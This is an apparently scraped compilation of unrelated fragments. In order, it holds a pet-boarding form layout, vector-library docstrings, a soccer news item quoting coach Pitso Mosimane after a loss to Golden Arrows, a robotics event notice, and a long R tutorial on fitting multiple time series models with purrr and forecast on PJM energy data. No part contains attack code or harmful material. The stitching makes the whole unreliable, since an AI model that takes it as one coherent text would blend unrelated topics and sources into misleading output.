Pet BAG
All pets
Name
Type
Space ID
Age (years)
Weight (pounds)
Duration (days)
Groomed
Price (USD)
Add Dog
Add Cat


Calculates the dot product of the Vector
Calculates the length of the Vector
Calculates the length of the Vector
Bases: triton.vector.Vector
Calculates the angle of a Vector2d object
Calculates the angle between Vector2d objects
Calculates the cross product between two vectors
Scalar value corresponding to the z-axis value of the cross product in 3d
Calculates the perpendicular vector
Bases: triton.vector.Vector


Pitso: The Biggest Mistake By Our Number One Goalkeeper
by Soccer LadumaMamelodi Sundowns head coach Pitso Mosimane believes Denis Onyango used the wrong technique after omitting a blunder against Golden Arrows.
Click through the gallery to see the conditions at Sugar Ray Xulu Stadium.
Sundowns lost further ground on Absa Premiership leaders Kaizer Chiefs following a 3-2 loss to Steve Komphela's men on Sunday afternoon.
Onyango made a costly error when spilling Phiri's strike into his own net to gift Arrows the equaliser in the second half.
"As I said difficult game, what can you say difficult conditions for both teams obviously. Ja, the biggest mistake by our number one goalkeeper [Denis Onyango], it happens, it's the conditions," Mosimane told SuperSport after the game.
"He applied the wrong technique and the ball bounced differently but it's okay, we accept [defeat]."
Mosimane also expanded on his late changes that saw Sibusiso Vilakazi and Jose Ali Meza introduced.
"We tried to get the speed behind, that change helped us, that's why 'Vila' [Vilakazi] managed to go through on the right once or twice. I though [Divine] Lunga could've been booked on that foul because the referee spoke to him three times.
"I though the third time he was going to book him but he didn't, it's okay. We got the goal, we could've scored another one in the last minute to be honest, but it's OK, it's difficult conditions, a difficult game for us. Ja, I never thought we'll lose this game."


Join us for a day of robotics celebration, with interactive exhibits by our award winning project and research teams, and two annual course competitions themed around Robotic Maze Runners from ECE 3400: Intelligent Physical Systems (9-11.30am) and the Cube Crazy Robots from MAE 3780: Mechatronics (1-4pm). All are welcome!
Junior | ECE Major
Junior | ECE Major
Junior | ECE/CS Major
Junior | ECE Major


--- title: "Purrr-operly Fitting Multiple Time Series Models" author: R. Dimas Bagas Herlambang date: 2019-01-29 01:00:00 +7000 slug: purrr-operly-fitting-multiple-time-series-models categories: - R tags: - forecast - purrr - R - tidyverse - time series ---
In this article, I will explain some basic functional programming for fitting multiple time series using R, particularly using purrr
interface.
TL;DR: you can find the distraction-free script in here, and read some of my concluding remarks for a quick summary :grin:
When it comes to time series analyses and forecasting, R users are blessed with an invaluable tools that could helps us to conveniently fit–from basic to advanced–univariate time series models: forecast
package. This package is authored by Prof. Rob. J. Hyndman from Monash University. If you are interested in time series and forecasting, but new to the forecast
package, I really recommend you to checkout his Forecasting: Principles and Practice book to get you started; its online version is totally free!
Back then when I’m working with some econometrics cases, I was saved a lot by this package. Well, who can resist to use auto.arima()
? (I actually agree with you on this Iffa, just too “Bagas” to admit :v:). I’m also found its source code very helpful if you need to edit the algorithms to suit your need.
Yet, this package still have some limitation when you need to handle multiple time series object simultaneously; it doesn’t have that kind of built-in support (yet!). I was very curious back then. First, I found a solution proposed by Earo Wang. She released the hts
(hierarchical time series) package, which give some workaround on this case using aggregration approach. But somehow I found the package are less versatile than forecast
on fitting complex univariate models; well, it doesn’t built for that purpose at the first place.
Then I finally found an article that inspired me to write this post: Pur(r)rify Your Carets by Rahul Sangole. He cleverly hack his model selection routines using purrr
. Basically, he explained a workflow to use functional programming approach to fit a combination of multiple data transformation, and multiple model.
This kind of approach actually already implemented in sweep
package for time series and forecasting. But unfortunately, after seeing the package now “orphaned” (doesn’t have an official maintainer), I decided to not include the package in this tutorial; don’t worry, it doesn’t affecting the workflow that much.
In this article, I will explain how to a-purrr
-opriately fit multiple time series using functional programming. If you happen to be new to purrr
, I really recommend you to read this purrr
-fect tutorial by Jennifer Bryan; and if you confused with my piping flow, then I suggest you to read my Data Wars series first :grin:
For this tutorial, we will use some time series, data wrangling, and statistical modeling packages. Among them, the core packages that we will use are:
forecast
: for time series modeling and forecastingyardstick
: for measuring forecast performancerecipes
: for data preprocesspurrr
: for functional programmingdplyr
: for general data wranglinglubridate
: for working with datesIn addition to that, there are also some some package that I recommend to use for easier workflow:
magrittr
: for various pipe operatorstimetk
: for creating future time index for our forecast resultstidyquant
: for some ggplot aestheticsNote that I don’t import timetk
and tidyquant
in the following chunk, since we only use their one or two functions. Also some packages are already included in their bigger packages; e.g., dplyr
and purrr
are already included in tidyverse
, and recipes
and yardstick
are already included in tidymodels
, so we only need to import the bigger packages:
# import libs
library(forecast)
library(lubridate)
library(magrittr)
library(tidymodels)
library(tidyverse)
For this tutorial, we will use Hourly Energy Consumption dataset provided by PJM, and could be accessed from Kaggle dataset, which kindly shared by Rob Mulla. The data contains the hourly power consumption estimated by each electricity provider.
The dataset is actually need more cleaning before we can use it for time series analyses and forecasting. The version I use in this tutorial is already going through some cleaning and adjustment. If you are interested in the cleaning process, or simply want to reproduce the results using the same dataset, you can check the script from this post folder in my blog repository (to be exact, in file data.R
inside the R
folder).
Let’s start by importing the dataset:
# import dataset
pjm <- read_csv("data/pjm.csv")
pjm
#> # A tibble: 362,688 x 3
#> datetime provider cons
#> <dttm> <chr> <dbl>
#> 1 2013-06-01 00:00:00 AEP 13477
#> 2 2013-06-01 01:00:00 AEP 12699
#> 3 2013-06-01 02:00:00 AEP 12274
#> 4 2013-06-01 03:00:00 AEP 11904
#> 5 2013-06-01 04:00:00 AEP 11862
#> 6 2013-06-01 05:00:00 AEP 11976
#> 7 2013-06-01 06:00:00 AEP 12447
#> 8 2013-06-01 07:00:00 AEP 12713
#> 9 2013-06-01 08:00:00 AEP 13730
#> 10 2013-06-01 09:00:00 AEP 14609
#> # … with 362,678 more rows
The data contain datetime
, provider
, and cons
columns. The dates are ranging from 2013-06-01 to 2018-08-02 23:00:00. Here’s some example data from the last month:
# quick plot
pjm %>%
filter(datetime >= max(datetime) - hours(24 * 7 * 4)) %>%
ggplot(aes(x = datetime, y = cons)) +
geom_line() +
labs(x = NULL, y = NULL) +
facet_wrap(~ provider, scale = "free", ncol = 1) +
tidyquant::theme_tq()
To help us benchmark multiple models, we will need to split some portion of our data for validation. The strategy here is to cut the last 4 weeks–approximately 1 month–as our test dataset.  This strategy is just the simplified version of Rolling Forecasting Origin, with only having one pair of train and test sample. Of course, you can experiment with the lengths; will definitely cover more on this in one of my future posts, stay tuned!
So the first step here is to get the start and end date of the train and test sample. The most straighforward way is to define the train and test size, then recursively get the start and end index for each:
# train-val-test size
test_size <- 24 * 7 * 4
train_size <- 24 * 7 * 4 * 3
# get the min-max of the time index for each sample
test_end <- max(pjm$datetime)
test_start <- test_end - hours(test_size) + hours(1)
train_end <- test_start - hours(1)
train_start <- train_end - hours(train_size) + hours(1)
To make it more handy, we can combine the start and end indices into a date interval:
# get the interval of each samples
intrain <- interval(train_start, train_end)
intest <- interval(test_start, test_end)
intrain
#> [1] 2018-04-13 UTC--2018-07-05 23:00:00 UTC
intest
#> [1] 2018-07-06 UTC--2018-08-02 23:00:00 UTC
I really recommend this splitting approach, since you can use the date interval for many things while still keeping the true data.
For example, we can use the intervals to visualize the train and test series:
# plot the train and test
pjm %>%
mutate(sample = case_when(
datetime %within% intrain ~ "train",
datetime %within% intest ~ "test"
)) %>%
drop_na() %>%
mutate(sample = factor(sample, levels = c("train", "test"))) %>%
ggplot(aes(x = datetime, y = cons, colour = sample)) +
geom_line() +
labs(x = NULL, y = NULL, colour = NULL) +
facet_wrap(~ provider, scale = "free", ncol = 1) +
tidyquant::theme_tq() +
tidyquant::scale_colour_tq()
recipes
Data preprocessing is a very crucial step in time series model fitting. In this tutorial, we will use recipes
package for data preprocessing.
Since recipe package work columnwise, we need to convert our data into a wide format first:
# convert to wide format
pjm %<>%
spread(provider, cons)
pjm
#> # A tibble: 45,336 x 9
#> datetime AEP COMED DAYTON DEOK DOM DUQ EKPC FE
#> <dttm> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
#> 1 2013-06-01 00:00:00 13477 11378 1682 2773 10150 1739 1166 7099
#> 2 2013-06-01 01:00:00 12699 10584 1568 2613 9406 1641 1098 6617
#> 3 2013-06-01 02:00:00 12274 9973 1514 2499 8910 1569 1036 6351
#> 4 2013-06-01 03:00:00 11904 9451 1467 2409 8551 1518 1023 6201
#> 5 2013-06-01 04:00:00 11862 9184 1456 2392 8413 1503 949 6157
#> 6 2013-06-01 05:00:00 11976 9043 1485 2425 8409 1515 1017 6187
#> 7 2013-06-01 06:00:00 12447 9054 1511 2469 8582 1531 1036 6257
#> 8 2013-06-01 07:00:00 12713 9290 1596 2606 9600 1586 1096 6606
#> 9 2013-06-01 08:00:00 13730 9980 1711 2823 10816 1745 1200 7182
#> 10 2013-06-01 09:00:00 14609 10590 1823 3013 12017 1903 1285 7777
#> # … with 45,326 more rows
Then we could start to define the preprocess recipe()
, and bake()
our data based on the defined recipe:
# recipes: square root, center, scale
rec <- recipe(~ ., filter(pjm, datetime %within% intrain)) %>%
step_sqrt(all_numeric()) %>%
step_center(all_numeric()) %>%
step_scale(all_numeric()) %>%
prep()
# preview the bake results
pjm <- bake(rec, pjm)
pjm
#> # A tibble: 45,336 x 9
#> datetime AEP COMED DAYTON DEOK DOM DUQ EKPC
#> <dttm> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
#> 1 2013-06-01 00:00:00 -0.393 0.0676 -0.784 -0.510 -0.373 0.481 -0.837
#> 2 2013-06-01 01:00:00 -0.722 -0.247 -1.10 -0.741 -0.693 0.191 -1.08
#> 3 2013-06-01 02:00:00 -0.907 -0.496 -1.25 -0.911 -0.913 -0.0282 -1.31
#> 4 2013-06-01 03:00:00 -1.07 -0.716 -1.39 -1.05 -1.08 -0.186 -1.35
#> 5 2013-06-01 04:00:00 -1.09 -0.831 -1.42 -1.07 -1.14 -0.233 -1.63
#> 6 2013-06-01 05:00:00 -1.04 -0.892 -1.34 -1.02 -1.14 -0.196 -1.38
#> 7 2013-06-01 06:00:00 -0.831 -0.887 -1.26 -0.956 -1.06 -0.146 -1.31
#> 8 2013-06-01 07:00:00 -0.716 -0.785 -1.02 -0.752 -0.608 0.0240 -1.09
#> 9 2013-06-01 08:00:00 -0.288 -0.493 -0.706 -0.439 -0.0967 0.499 -0.719
#> 10 2013-06-01 09:00:00 0.0699 -0.244 -0.408 -0.175 0.381 0.949 -0.431
#> # … with 45,326 more rows, and 1 more variable: FE <dbl>
Note: Don’t forget to do the preprocess based on the data in train sample only, since it’s similar to the actual scenario where we only have the “train” data.
If we use recipes
package, the next steps is to create a revert back function:
# revert back function
rec_revert <- function(vector, rec, varname) {
# store recipe values
rec_center <- rec$steps[[2]]$means[varname]
rec_scale <- rec$steps[[3]]$sds[varname]
# convert back based on the recipe
results <- (vector * rec_scale + rec_center) ^ 2
# add additional adjustment if necessary
results <- round(results)
# return the results
results
}
This revert back function would be very handy if we want to convert back the data to its original form.
Now we can convert our data into the long format again:
# convert back to long format
pjm %<>%
gather(provider, cons, -datetime)
pjm
#> # A tibble: 362,688 x 3
#> datetime provider cons
#> <dttm> <chr> <dbl>
#> 1 2013-06-01 00:00:00 AEP -0.393
#> 2 2013-06-01 01:00:00 AEP -0.722
#> 3 2013-06-01 02:00:00 AEP -0.907
#> 4 2013-06-01 03:00:00 AEP -1.07
#> 5 2013-06-01 04:00:00 AEP -1.09
#> 6 2013-06-01 05:00:00 AEP -1.04
#> 7 2013-06-01 06:00:00 AEP -0.831
#> 8 2013-06-01 07:00:00 AEP -0.716
#> 9 2013-06-01 08:00:00 AEP -0.288
#> 10 2013-06-01 09:00:00 AEP 0.0699
#> # … with 362,678 more rows
In functional programming using purrr
, we need to convert our tbl
into a nested tbl
. You can think a nested data like a table inside a table, which could be controlled using a key indicator; in other words, we can have tbl
for each provider
and samples
. Using this format, the fitting and forecasting process would be very versatile, yet we can still convert the results as long as we have a proper key like provider
.
Let’s start by converting our tbl
into a nested tbl
. First, we need to add sample indicator so it could be recognized as a key when we nest()
the data:
# adjust by sample
pjm %<>%
mutate(sample = case_when(
datetime %within% intrain ~ "train",
datetime %within% intest ~ "test"
)) %>%
drop_na()
pjm
#> # A tibble: 21,504 x 4
#> datetime provider cons sample
#> <dttm> <chr> <dbl> <chr>
#> 1 2018-04-13 00:00:00 AEP -1.26 train
#> 2 2018-04-13 01:00:00 AEP -1.43 train
#> 3 2018-04-13 02:00:00 AEP -1.52 train
#> 4 2018-04-13 03:00:00 AEP -1.49 train
#> 5 2018-04-13 04:00:00 AEP -1.39 train
#> 6 2018-04-13 05:00:00 AEP -1.07 train
#> 7 2018-04-13 06:00:00 AEP -0.548 train
#> 8 2018-04-13 07:00:00 AEP -0.308 train
#> 9 2018-04-13 08:00:00 AEP -0.228 train
#> 10 2018-04-13 09:00:00 AEP -0.209 train
#> # … with 21,494 more rows
Then, we could start to nest()
the the data by provider
and sample
, and spread()
the tbl
based on sample
key:
# nest the train data
pjm %<>%
group_by(provider, sample) %>%
nest(.key = "data") %>%
spread(sample, data)
pjm
#> # A tibble: 8 x 3
#> provider test train
#> <chr> <list> <list>
#> 1 AEP <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 2 COMED <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 3 DAYTON <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 4 DEOK <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 5 DOM <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 6 DUQ <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 7 EKPC <tibble [672 × 2]> <tibble [2,016 × 2]>
#> 8 FE <tibble [672 × 2]> <tibble [2,016 × 2]>
For data and model combination, we could start by defining some options for data representation. Recall that our series have a relatively high frequency, so we could consider two option of data representation here: a ts
object with daily seasonality, and an msts
with daily and weekly seasonality.
To incorporate them into our nested data, we need to create another nested data frame containing the data representation name, and the accompanying function for converting the data into the specified data representation.
Let’s start with making a named list containing the transformation functions:
# data funs list
data_funs <- list(
ts = function(x) ts(x$cons, frequency = 24),
msts = function(x) msts(x$cons, seasonal.periods = c(24, 24 * 7))
)
data_funs
#> $ts
#> function (x)
#> ts(x$cons, frequency = 24)
#>
#> $msts
#> function (x)
#> msts(x$cons, seasonal.periods = c(24, 24 * 7))
Then we could convert the list
into a tbl
using enframe()
. Note that we should also give a key–which is the provider
in our case–so we could use left_join()
later. The trick here is to use rep()
function:
# convert to nested
data_funs %<>%
rep(length(unique(pjm$provider))) %>%
enframe("data_fun_name", "data_fun") %>%
mutate(provider =
sort(rep(unique(pjm$provider), length(unique(.$data_fun_name))))
)
data_funs
#> # A tibble: 16 x 3
#> data_fun_name data_fun provider
#> <chr> <list> <chr>
#> 1 ts <fn> AEP
#> 2 msts <fn> AEP
#> 3 ts <fn> COMED
#> 4 msts <fn> COMED
#> 5 ts <fn> DAYTON
#> 6 msts <fn> DAYTON
#> 7 ts <fn> DEOK
#> 8 msts <fn> DEOK
#> 9 ts <fn> DOM
#> 10 msts <fn> DOM
#> 11 ts <fn> DUQ
#> 12 msts <fn> DUQ
#> 13 ts <fn> EKPC
#> 14 msts <fn> EKPC
#> 15 ts <fn> FE
#> 16 msts <fn> FE
Then the last steps here is to join the nested function with our nested data:
# combine with models
pjm %<>%
left_join(data_funs)
pjm
#> # A tibble: 16 x 5
#> provider test train data_fun_name data_fun
#> <chr> <list> <list> <chr> <list>
#> 1 AEP <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 2 AEP <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 3 COMED <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 4 COMED <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 5 DAYTON <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 6 DAYTON <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 7 DEOK <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 8 DEOK <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 9 DOM <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 10 DOM <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 11 DUQ <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 12 DUQ <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 13 EKPC <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 14 EKPC <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
#> 15 FE <tibble [672 × 2]> <tibble [2,016 × 2]> ts <fn>
#> 16 FE <tibble [672 × 2]> <tibble [2,016 × 2]> msts <fn>
Similar to when we create the data representation list, we could also make some time series models as a nested list.
Again, let’s start by making a list of models. For this tutorial, let’s consider to use auto.arima()
, ets()
, stlm()
, and tbats()
. We need to make some functions to call those model, and store them inside a list:
# models list
models <- list(
auto.arima = function(x) auto.arima(x),
ets = function(x) ets(x),
stlm = function(x) stlm(x),
tbats = function(x) tbats(x, use.box.cox = FALSE)
)
models
#> $auto.arima
#> function (x)
#> auto.arima(x)
#>
#> $ets
#> function (x)
#> ets(x)
#>
#> $stlm
#> function (x)
#> stlm(x)
#>
#> $tbats
#> function (x)
#> tbats(x, use.box.cox = FALSE)
Then we can convert it into a nested format like previous example:
# convert to nested
models %<>%
rep(length(unique(pjm$provider))) %>%
enframe("model_name", "model") %>%
mutate(provider =
sort(rep(unique(pjm$provider), length(unique(.$model_name))))
)
models
#> # A tibble: 32 x 3
#> model_name model provider
#> <chr> <list> <chr>
#> 1 auto.arima <fn> AEP
#> 2 ets <fn> AEP
#> 3 stlm <fn> AEP
#> 4 tbats <fn> AEP
#> 5 auto.arima <fn> COMED
#> 6 ets <fn> COMED
#> 7 stlm <fn> COMED
#> 8 tbats <fn> COMED
#> 9 auto.arima <fn> DAYTON
#> 10 ets <fn> DAYTON
#> # … with 22 more rows
And finally, we can join the result into our nested data. Note that we could also apply some rule here. For example, if I don’t want to have ets()
and auto.arima()
for data with msts
class–since they are not suitable for multiple seasonality time series–we can use filter to remove them out:
# combine with models
pjm %<>%
left_join(models) %>%
filter(
!(model_name == "ets" & data_fun_name == "msts"),
!(model_name == "auto.arima" & data_fun_name == "msts")
)
Here’s our data with the full combination:
pjm
#> # A tibble: 48 x 7
#> provider test train data_fun_name data_fun model_name model
#> <chr> <list> <list> <chr> <list> <chr> <lis>
#> 1 AEP <tibble [6… <tibble [2… ts <fn> auto.arima <fn>
#> 2 AEP <tibble [6… <tibble [2… ts <fn> ets <fn>
#> 3 AEP <tibble [6… <tibble [2… ts <fn> stlm <fn>
#> 4 AEP <tibble [6… <tibble [2… ts <fn> tbats <fn>
#> 5 AEP <tibble [6… <tibble [2… msts <fn> stlm <fn>
#> 6 AEP <tibble [6… <tibble [2… msts <fn> tbats <fn>
#> 7 COMED <tibble [6… <tibble [2… ts <fn> auto.arima <fn>
#> 8 COMED <tibble [6… <tibble [2… ts <fn> ets <fn>
#> 9 COMED <tibble [6… <tibble [2… ts <fn> stlm <fn>
#> 10 COMED <tibble [6… <tibble [2… ts <fn> tbats <fn>
#> # … with 38 more rows
To execute the model fitting, we need to wrap up the needed arguments as a list
using map()
function. Then, we could call the function using invoke_map()
. We need to do this for data transformation using the function inside data_fun
, then continue to fit the model with the same process using the function inside model
.
See the code in the chunk below for the implementation of the process:
# invoke nested fitting
pjm %<>%
mutate(
params = map(train, ~ list(x = .x)),
data = invoke_map(data_fun, params),
params = map(data, ~ list(x = .x)),
fitted = invoke_map(model, params)
) %>%
select(-data, -params)
pjm
#> # A tibble: 48 x 8
#> provider test train data_fun_name data_fun model_name model fitted
#> <chr> <list> <list> <chr> <list> <chr> <lis> <list>
#> 1 AEP <tibbl… <tibble… ts <fn> auto.arima <fn> <S3: …
#> 2 AEP <tibbl… <tibble… ts <fn> ets <fn> <S3: …
#> 3 AEP <tibbl… <tibble… ts <fn> stlm <fn> <S3: …
#> 4 AEP <tibbl… <tibble… ts <fn> tbats <fn> <S3: …
#> 5 AEP <tibbl… <tibble… msts <fn> stlm <fn> <S3: …
#> 6 AEP <tibbl… <tibble… msts <fn> tbats <fn> <S3: …
#> 7 COMED <tibbl… <tibble… ts <fn> auto.arima <fn> <S3: …
#> 8 COMED <tibbl… <tibble… ts <fn> ets <fn> <S3: …
#> 9 COMED <tibbl… <tibble… ts <fn> stlm <fn> <S3: …
#> 10 COMED <tibbl… <tibble… ts <fn> tbats <fn> <S3: …
#> # … with 38 more rows
Now the next step is to measure the test error. First, we need to forecast()
into the test dataset, and then pipe it into the error measurement using one of function provided in yardstick
. For this example, let’s use Root Mean Squared-Error (we use rmse_vec
for simple vector calculation) as an error measurement:
# calculate test errors
pjm %<>%
mutate(error =
map(fitted, ~ forecast(.x, h = 24 * 7 * 4)) %>%
map2_dbl(test, ~ rmse_vec(truth = .y$cons, estimate = .x$mean))
) %>%
arrange(provider, error)
pjm %>%
select(provider, ends_with("_name"), error)
#> # A tibble: 48 x 4
#> provider data_fun_name model_name error
#> <chr> <chr> <chr> <dbl>
#> 1 AEP msts stlm 0.733
#> 2 AEP msts tbats 0.745
#> 3 AEP ts auto.arima 0.820
#> 4 AEP ts tbats 0.951
#> 5 AEP ts stlm 1.17
#> 6 AEP ts ets 4.28
#> 7 COMED msts tbats 0.805
#> 8 COMED msts stlm 0.813
#> 9 COMED ts tbats 0.920
#> 10 COMED ts auto.arima 0.937
#> # … with 38 more rows
Beside measuring the error, we can also compare the forecast results to the real test series through graphical analysis. But to do that, we need to make a tbl
containing our forecast to the test dataset, then do some spread-gather tricks to make a set of keys that unique for each data representations, models, and also one for the forecast itself. If we get to that format, we could conveniently unnest()
the data into a proper long format
Let’s start with creating the forecast first:
pjm_test <- pjm %>%
mutate(
forecast =
map(fitted, ~ forecast(.x, h = 24 * 7 * 4)) %>%
map2(test, ~ tibble(
datetime = .y$datetime,
cons = as.vector(.x$mean)
)),
key = paste(data_fun_name, model_name, sep = "-")
)
pjm_test
#> # A tibble: 48 x 11
#> provider test train data_fun_name data_fun model_name model fitted
#> <chr> <lis> <lis> <chr> <list> <chr> <lis> <list>
#> 1 AEP <tib… <tib… msts <fn> stlm <fn> <S3: …
#> 2 AEP <tib… <tib… msts <fn> tbats <fn> <S3: …
#> 3 AEP <tib… <tib… ts <fn> auto.arima <fn> <S3: …
#> 4 AEP <tib… <tib… ts <fn> tbats <fn> <S3: …
#> 5 AEP <tib… <tib… ts <fn> stlm <fn> <S3: …
#> 6 AEP <tib… <tib… ts <fn> ets <fn> <S3: …
#> 7 COMED <tib… <tib… msts <fn> tbats <fn> <S3: …
#> 8 COMED <tib… <tib… msts <fn> stlm <fn> <S3: …
#> 9 COMED <tib… <tib… ts <fn> tbats <fn> <S3: …
#> 10 COMED <tib… <tib… ts <fn> auto.arima <fn> <S3: …
#> # … with 38 more rows, and 3 more variables: error <dbl>, forecast <list>,
#> # key <chr>
Then do some spread-gather to create a proper key:
pjm_test %<>%
select(provider, key, actual = test, forecast) %>%
spread(key, forecast) %>%
gather(key, value, -provider)
pjm_test
#> # A tibble: 56 x 3
#> provider key value
#> <chr> <chr> <list>
#> 1 AEP actual <tibble [672 × 2]>
#> 2 COMED actual <tibble [672 × 2]>
#> 3 DAYTON actual <tibble [672 × 2]>
#> 4 DEOK actual <tibble [672 × 2]>
#> 5 DOM actual <tibble [672 × 2]>
#> 6 DUQ actual <tibble [672 × 2]>
#> 7 EKPC actual <tibble [672 × 2]>
#> 8 FE actual <tibble [672 × 2]>
#> 9 AEP msts-stlm <tibble [672 × 2]>
#> 10 COMED msts-stlm <tibble [672 × 2]>
#> # … with 46 more rows
The last but not least, unnest()
the series data, and apply the revert back function:
pjm_test %<>%
unnest(value) %>%
mutate(cons = rec_revert(cons, rec, provider))
pjm_test
#> # A tibble: 37,632 x 4
#> provider key datetime cons
#> <chr> <chr> <dttm> <dbl>
#> 1 AEP actual 2018-07-06 00:00:00 15139
#> 2 AEP actual 2018-07-06 01:00:00 14325
#> 3 AEP actual 2018-07-06 02:00:00 13685
#> 4 AEP actual 2018-07-06 03:00:00 13350
#> 5 AEP actual 2018-07-06 04:00:00 13357
#> 6 AEP actual 2018-07-06 05:00:00 13671
#> 7 AEP actual 2018-07-06 06:00:00 14124
#> 8 AEP actual 2018-07-06 07:00:00 14646
#> 9 AEP actual 2018-07-06 08:00:00 15294
#> 10 AEP actual 2018-07-06 09:00:00 15804
#> # … with 37,622 more rows
With the resulting tbl
, we can compare the forecast and actual data on test like this:
# plot forecast on test
pjm_test %>%
ggplot(aes(x = datetime, y = cons, colour = key)) +
geom_line() +
labs(x = NULL, y = NULL, colour = NULL) +
facet_wrap(~ provider, scale = "free", ncol = 1) +
tidyquant::theme_tq() +
tidyquant::scale_colour_tq()
As you can see from the plot results, it is hard to decide which model we want to use based on graphical comparation. Then the most straighforward solution is to use the model with the least error.
It is very simple to do the model selection, we only need some basic dplyr
grammars to filter()
the model with lowest error:
# filter by lowest test error
pjm %<>%
select(-fitted) %>% # remove unused
group_by(provider) %>%
filter(error == min(error)) %>%
ungroup()
pjm
#> # A tibble: 8 x 8
#> provider test train data_fun_name data_fun model_name model error
#> <chr> <list> <list> <chr> <list> <chr> <lis> <dbl>
#> 1 AEP <tibble … <tibble… msts <fn> stlm <fn> 0.733
#> 2 COMED <tibble … <tibble… msts <fn> tbats <fn> 0.805
#> 3 DAYTON <tibble … <tibble… msts <fn> stlm <fn> 0.714
#> 4 DEOK <tibble … <tibble… msts <fn> tbats <fn> 0.687
#> 5 DOM <tibble … <tibble… msts <fn> tbats <fn> 0.865
#> 6 DUQ <tibble … <tibble… msts <fn> stlm <fn> 0.728
#> 7 EKPC <tibble … <tibble… ts <fn> auto.arima <fn> 0.721
#> 8 FE <tibble … <tibble… msts <fn> stlm <fn> 0.713
After we have the final model, then finally we can proceed to the final forecast. For the final forecast, we can do the same process as in model fitting, but this time we will use train and test data as our new “full data”.
Now let’s start by recombine the train and test dataset:
# recombine samples
pjm %<>%
mutate(fulldata = map2(train, test, ~ bind_rows(.x, .y))) %>%
select(provider, fulldata, everything(), -train, -test)
pjm
#> # A tibble: 8 x 7
#> provider fulldata data_fun_name data_fun model_name model error
#> <chr> <list> <chr> <list> <chr> <lis> <dbl>
#> 1 AEP <tibble [2,688 × … msts <fn> stlm <fn> 0.733
#> 2 COMED <tibble [2,688 × … msts <fn> tbats <fn> 0.805
#> 3 DAYTON <tibble [2,688 × … msts <fn> stlm <fn> 0.714
#> 4 DEOK <tibble [2,688 × … msts <fn> tbats <fn> 0.687
#> 5 DOM <tibble [2,688 × … msts <fn> tbats <fn> 0.865
#> 6 DUQ <tibble [2,688 × … msts <fn> stlm <fn> 0.728
#> 7 EKPC <tibble [2,688 × … ts <fn> auto.arima <fn> 0.721
#> 8 FE <tibble [2,688 × … msts <fn> stlm <fn> 0.713
Then do the same nested fitting as in previous example:
# invoke nested fitting for full data
pjm %<>%
mutate(
params = map(fulldata, ~ list(x = .x)),
data = invoke_map(data_fun, params),
params = map(data, ~ list(x = .x)),
fitted = invoke_map(model, params)
) %>%
select(-data, -params)
Next, let’s make a tbl
containing each of our forecast results, and convert our nested data to a proper long format:
# get forecast
pjm %<>%
mutate(forecast =
map(fitted, ~ forecast(.x, h = 24 * 7 * 4)) %>%
map2(fulldata, ~ tibble(
datetime = timetk::tk_make_future_timeseries(.y$datetime, 24 * 7 * 4),
cons = as.vector(.x$mean)
))
)
pjm
#> # A tibble: 8 x 9
#> provider fulldata data_fun_name data_fun model_name model error fitted
#> <chr> <list> <chr> <list> <chr> <lis> <dbl> <list>
#> 1 AEP <tibble… msts <fn> stlm <fn> 0.733 <S3: …
#> 2 COMED <tibble… msts <fn> tbats <fn> 0.805 <S3: …
#> 3 DAYTON <tibble… msts <fn> stlm <fn> 0.714 <S3: …
#> 4 DEOK <tibble… msts <fn> tbats <fn> 0.687 <S3: …
#> 5 DOM <tibble… msts <fn> tbats <fn> 0.865 <S3: …
#> 6 DUQ <tibble… msts <fn> stlm <fn> 0.728 <S3: …
#> 7 EKPC <tibble… ts <fn> auto.arima <fn> 0.721 <S3: …
#> 8 FE <tibble… msts <fn> stlm <fn> 0.713 <S3: …
#> # … with 1 more variable: forecast <list>
Finally, we can unnest()
the data to get the result:
# unnest actual and forecast
pjm %<>%
select(provider, actual = fulldata, forecast) %>%
gather(key, value, -provider) %>%
unnest(value) %>%
mutate(cons = rec_revert(cons, rec, provider))
pjm
#> # A tibble: 26,880 x 4
#> provider key datetime cons
#> <chr> <chr> <dttm> <dbl>
#> 1 AEP actual 2018-04-13 00:00:00 11488
#> 2 AEP actual 2018-04-13 01:00:00 11100
#> 3 AEP actual 2018-04-13 02:00:00 10915
#> 4 AEP actual 2018-04-13 03:00:00 10972
#> 5 AEP actual 2018-04-13 04:00:00 11204
#> 6 AEP actual 2018-04-13 05:00:00 11895
#> 7 AEP actual 2018-04-13 06:00:00 13107
#> 8 AEP actual 2018-04-13 07:00:00 13681
#> 9 AEP actual 2018-04-13 08:00:00 13874
#> 10 AEP actual 2018-04-13 09:00:00 13921
#> # … with 26,870 more rows
There you go, the forecast results for each provider
in a proper long format :grimacing:
You can proceed to plot the forecast:
pjm %>%
ggplot(aes(x = datetime, y = cons, colour = key)) +
geom_line() +
labs(x = NULL, y = NULL, colour = NULL) +
facet_wrap(~ provider, scale = "free", ncol = 1) +
tidyquant::theme_tq() +
tidyquant::scale_colour_tq()
Fitting multiple time series models using purrr
is somehow a little bit complicated, but on the other hand, very flexible. Actually, it also could be easily extended into a more complex scenario, such as incorporating multiple preprocess recipes
as another model combination, or applying more complex rule in automating the fitting. Despite of that, I do understand that for someone new to purrr
, it would be very hard to follow the workflow; to be honest, even me spending around 80% of writing this post thinking about the easiest way to explain the process narratively. But I really hope that the codes above enough to explain the basic workflow for functional programming in time series :smile:
